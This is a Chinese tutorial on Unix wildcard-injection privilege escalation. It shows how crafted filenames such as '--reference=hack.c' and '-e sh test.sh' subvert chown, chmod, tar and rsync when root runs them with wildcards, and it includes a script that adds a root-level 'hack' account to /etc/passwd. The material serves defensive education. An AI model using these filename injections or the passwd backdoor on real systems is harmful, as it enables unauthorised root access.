一、有关通配符

wildcards指通配符,学过类 LINUX 系统的,应该都知道什么是通配符。直不知道也没关系,我这里列下几个常见的通配符:

1*  代表任意多个字符
2?  代表任意单个字符
3[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写
4– 代表一个字符
5~ 用户的根目录

其为什么会被利用?是由于Wildcard wildness(通配符在野)导致的。我们先看一个示例:

wildcard-wildness
wildcard-wildness

你会发现使用如下方法都不成功:

1cat  '--help'
2cat  "--help"
3cat "\-\-help"
4cat \-\-help

同样,使用 rm 删除时也会存在这样的问题。由于我们在进行命令操作时经常会以“-” 后面接参数,所以这里就把这个值当参数了,就会造成异常。如果要处理这种文件可以有两种方法:

方法1:cat ./–help 可以正常查看;

方法2:find . -inum xxx 后面再通过exec或xargs参数进行处理。

二、chown 和 chmod 命令下的利用

1、chown

chown命令用于修改文件或目录的属主和属组。但在通查看其帮助信息时,会发现这样一个参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)

假如我们目前有一个目录下有如下一些文件:

1[root@361way mk]# ll
2total 12
3-rw-r--r-- 1 zabbix zabbix  71 Jan  4 15:58 myrand.c
4-rw-r--r-- 1 zabbix zabbix 146 Jan  4 15:58 preload.c
5-rw-r--r-- 1 zabbix zabbix 161 Jan  4 15:58 test.c

接下来有一个坏家伙叫kiosk的用户,在这个目录下创建了如下两个文件:

1[root@361way mk]# ll
2total 20
3-rw-r--r-- 1 kiosk  kiosk    1 Jan  4 15:59 hack.c
4-rw-r--r-- 1 zabbix zabbix  71 Jan  4 15:58 myrand.c
5-rw-r--r-- 1 zabbix zabbix 146 Jan  4 15:58 preload.c
6-rw-r--r-- 1 kiosk  kiosk    1 Jan  4 15:59 --reference=hack.c
7-rw-r--r-- 1 zabbix zabbix 161 Jan  4 15:58 test.c

这两个文件里并没有内容,都是直接echo创建的。当我们使用root看到后,想让该目录下的所有文件全部修改为zabbix:zabbix ,但我们执行以后,奇怪的事情发生了:

chown-wildness
chown-wildness

上面我们明明使用root把所有的文件赋权给了zabbix,结果事与愿违,所有的文件属主和属组都变成了坏家伙kiosk。是不是很神奇?原理是和上面cat –help是一样的。

2、chmod

同样查看chmod的帮助信息时,也会发现这样同样的参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)

坏小子kiosk用户看到这个参数欣喜若狂,我们再看下神奇的事情:

1[kiosk@361way mk]$ echo "">--reference=hack.c
2[kiosk@361way mk]$ chmod 777 hack.c
3[kiosk@361way mk]$ ll
4total 20
5-rwxrwxrwx 1 kiosk  kiosk    1 Jan  4 15:59 hack.c
6-rw-r--r-- 1 zabbix zabbix  71 Jan  4 15:58 myrand.c
7-rw-r--r-- 1 zabbix zabbix 146 Jan  4 15:58 preload.c
8-rw-rw-r-- 1 kiosk  kiosk    1 Jan  4 16:14 --reference=hack.c
9-rw-r--r-- 1 zabbix zabbix 161 Jan  4 15:58 test.c

root 用户为防止有人使坏,把这个目录下的所有文件的权限修改成了000,看下会发生什么:

chmod-wildness
chmod-wildness

是不是防不胜防,又被忽悠了。本来想回收权限,结果所有文件的权限都变成了777。如果坏小子刚好有权限在/bin这样的目录搞了上面这样两个空文件,并且把hack.c文件的权限设置成了4777,被root赋权操作后会发生什么?天啊,是不是不敢想想。

三、tar通配符注入

tar注入这个之前提到过,这里再提下,其主要利用的如下两个参数:

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

我们可以将要执行的内容写在action后面,这里还是列下样图:

tar-privilege
tar-privilege

四、rsync通配符提权

rsync提权使用的参数如下:

1-e, --rsh=COMMAND           远程主机使用的shell
2--rsync-path=PROGRAM    远程主机执行时去的路径

我们先搞下需要利用的脚本和相关文件:

 1[root@361way mk]# echo "echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd" >test.sh
 2[root@361way mk]# cat test.sh
 3echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd
 4[root@361way mk]# tail -1 /etc/passwd
 5zabbix:x:1003:1003::/home/zabbix:/bin/bash
 6[root@361way mk]# echo "">'-e sh test.sh'
 7[root@361way mk]# ll
 8total 20
 9-rw-r--r-- 1 root   root     1 Jan  4 16:39 -e sh test.sh
10-rw-r--r-- 1 zabbix zabbix  71 Jan  4 16:40 myrand.c
11-rw-r--r-- 1 zabbix zabbix 146 Jan  4 16:40 preload.c
12-rw-r--r-- 1 zabbix zabbix 161 Jan  4 16:40 test.c
13-rw-r--r-- 1 root   root    81 Jan  4 16:39 test.sh

这个利用起来和 tar一样,也是有条件的,如下:

rsync-wildness
rsync-wildness

跟tar的利用一样,直接使用绝对路径是不行的,在当前目录是可以提权的。

关于通配符提权就先到这里吧,参考如下文档:

https://www.exploit-db.com/papers/33930 (Back To The Future: Unix Wildcards Gone Wild)